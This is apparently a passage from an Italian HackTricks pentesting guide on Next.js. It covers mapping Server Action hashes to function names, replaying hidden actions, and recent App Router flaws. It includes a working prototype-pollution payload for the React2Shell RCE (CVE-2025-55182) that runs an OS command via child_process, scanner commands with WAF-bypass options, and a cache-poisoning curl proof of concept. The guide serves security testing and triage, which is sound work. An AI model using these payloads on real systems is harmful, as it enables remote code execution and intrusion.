- Caricamento differito: Carica componenti o asset solo quando sono necessari.
Esempio:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions Enumeration (hash to function name via source maps)
Le versioni moderne di Next.js usano “Server Actions” che vengono eseguite sul server ma sono invocate dal client. In produzione queste invocazioni sono opache: tutte le POSTs finiscono su un endpoint comune e sono distinte da un build-specific hash inviato nell’header Next-Action. Esempio:
POST /
Next-Action: a9f8e2b4c7d1...
Quando productionBrowserSourceMaps è abilitato, gli chunk JS minificati contengono chiamate a createServerReference(...) che leakano abbastanza struttura (più gli source maps associati) per ricostruire una mappatura tra l’action hash e il nome della funzione originale. Questo ti permette di tradurre gli hash osservati in Next-Action in obiettivi concreti come deleteUserAccount() o exportFinancialData().
Approccio di estrazione (regex on minified JS + optional source maps)
Cerca negli chunk JS scaricati createServerReference ed estrai l’hash e il simbolo funzione/sorgente. Due pattern utili:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Gruppo 1: hash dell’azione server (40+ caratteri esadecimali)
- Gruppo 2: simbolo o percorso che può essere risolto al nome della funzione originale tramite la source map quando presente
If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.
Flusso pratico
- Scoperta passiva durante la navigazione: intercettare richieste con header
Next-Actione JS chunk URLs. - Scaricare i bundle JS referenziati e i file
*.mapassociati (quando presenti). - Eseguire la regex sopra per costruire un dizionario hash↔nome.
- Usare il dizionario per indirizzare i test:
- Triage basato sui nomi (es.
transferFunds,exportFinancialData). - Tracciare la copertura tra le build tramite il nome della funzione (gli hash ruotano tra le build).
- Triage basato sui nomi (es.
Esecuzione di azioni nascoste (richiesta basata su template)
Take a valid POST observed in-proxy as a template and swap the Next-Action value to target another discovered action:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Riproduci in Repeater e testa autorizzazione, validazione degli input e la logica di business di azioni altrimenti non raggiungibili.
Burp automation
- NextjsServerActionAnalyzer (estensione Burp) automatizza quanto sopra in Burp:
- Analizza la cronologia del proxy per JS chunks, estrae le voci
createServerReference(...)e analizza source maps quando disponibili. - Mantiene un dizionario ricercabile hash↔function-name e de-duplica tra build in base al nome della funzione.
- Può individuare un POST template valido e aprire una scheda Repeater pronta per l’invio con l’hash dell’action target sostituito.
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
Notes and limitations
- Richiede
productionBrowserSourceMapsabilitato in produzione per recuperare i nomi dai bundles/source maps. - La divulgazione dei nomi delle funzioni non è di per sé una vulnerabilità; usala per guidare la scoperta e testare l’autorizzazione di ogni action.
React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
Le distribuzioni Next.js App Router che espongono Server Actions su react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contengono una criticità di prototype pollution lato server durante la deserializzazione dei chunk Flight. Modificando riferimenti $ all’interno di un payload Flight, un attaccante può pivotare da prototype contaminati a esecuzione arbitraria di JavaScript e poi all’esecuzione di comandi OS all’interno del processo Node.js.
NodeJS - proto & prototype Pollution
Attack chain in Flight chunks
- Prototype pollution primitive: Set
"then": "$1:__proto__:then"so that the resolver writes athenfunction onObject.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals. - Rebinding to the global
Functionconstructor: Point_response._formData.getat"$1:constructor:constructor". During resolution,object.constructor→Object, andObject.constructor→Function, so future calls to_formData.get()actually executeFunction(...). - Code execution via
_prefix: Place JavaScript source in_response._prefix. When the polluted_formData.getis invoked, the framework evaluatesFunction(_prefix)(...), so the injected JS can runrequire('child_process').exec()or any other Node primitive.
Payload skeleton
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
Mappatura dell’esposizione delle React Server Function
React Server Functions (RSF) sono tutte le funzioni che includono la direttiva ‘use server’;. Ogni form action, mutation, o fetch helper legato a una di queste funzioni diventa un RSC Flight endpoint che deserializzerà volentieri attacker-supplied payloads. Passi di recon utili derivati dalle valutazioni React2Shell:
- Inventario statico: cerca la direttiva per capire quante RSF vengono automaticamente esposte dal framework.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- Impostazioni predefinite App Router:
create-next-appabilita l’App Router + la directoryapp/di default, il che trasforma silenziosamente ogni route in un endpoint RSC-capable. Asset di App Router come/_next/static/chunks/app/o risposte che streammano Flight chunks sutext/x-componentsono forti Internet-facing fingerprints. - Distribuzioni RSC implicitamente vulnerabili: l’avviso ufficiale di React segnala che le app che consegnano il runtime RSC possono essere sfruttabili anche senza RSFs espliciti, quindi considera sospette tutte le build che usano
react-server-dom-*19.0.0–19.2.0. - Altri framework che includono RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, ecc. riutilizzano lo stesso serializer ed ereditano la medesima superficie d’attacco remota finché non incorporano build di React patchate.
Copertura delle versioni (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: vulnerabile in 19.0.0, 19.1.0–19.1.1 e 19.2.0; patchata in 19.0.1, 19.1.2 e 19.2.1 rispettivamente.- Next.js stable: le release App Router 15.0.0–16.0.6 includono lo stack RSC vulnerabile. I patch train 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 includono dipendenze fissate, quindi qualsiasi build precedente a quelle versioni è di alto valore.
- Next.js canary:
14.3.0-canary.77+include anch’essa il runtime buggy e al momento manca di canary drops patchati, rendendo quelle fingerprint forti candidate per l’exploitation.
Oracolo di rilevamento remoto
Assetnote’s react2shell-scanner invia una Flight request multipart costruita ad hoc ai percorsi candidati e osserva il comportamento lato server:
- Modalità predefinita esegue un payload RCE deterministico (operazione matematica riflessa tramite
X-Action-Redirect) che prova l’esecuzione di codice. - Modalità
--safe-checkcorrompe intenzionalmente il messaggio Flight in modo che i server patchati ritornino200/400, mentre i target vulnerabili emettono risposteHTTP/500contenenti la sottostringaE{"digest"all’interno del body. Questa coppia(500 + digest)è attualmente l’oracolo remoto più affidabile pubblicato dai difensori. - Gli switch built-in
--waf-bypass,--vercel-waf-bypasse--windowsregolano il layout del payload, antepongono junk, o sostituiscono comandi OS così da permetterti di sondare asset reali su Internet.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
Altri recenti problemi di App Router (fine 2025)
- RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – Flight payloads malformati possono far entrare il resolver RSC in un loop infinito (DoS pre-auth) o forzare la serializzazione del codice compilato di Server Function per altre azioni. Le build App Router ≥13.3 sono affette fino alla patch; 15.0.x–16.0.x richiedono le specifiche linee di patch dall’advisory upstream. Riutilizza il percorso normale di Server Action ma effettua lo streaming di un body
text/x-componentcon riferimenti abusivi$. Dietro una CDN la connessione bloccata viene mantenuta aperta dai timeout di cache, rendendo il DoS economico.
- Suggerimento per il triage: I target non patchati restituiscono
500conE{"digest"dopo Flight payloads malformati; le build patchate restituiscono400/200. Testa qualsiasi endpoint che stia già effettuando lo streaming di Flight chunks (cerca headerNext-Actiono rispostetext/x-component) e riproduci con un payload modificato.
- RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – la mancanza di
Varyha permesso che una risposta conAccept: text/x-componentvenisse memorizzata in cache e servita a browser che si aspettano HTML. Una singola richiesta di priming può rimpiazzare la pagina con payload RSC grezzi. Flusso PoC:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head
Se la seconda risposta restituisce dati JSON Flight invece di HTML, la route è poisonable. Pulisci la cache dopo i test.
References
- Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
- 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
- assetnote/react2shell-scanner
- Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
- GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


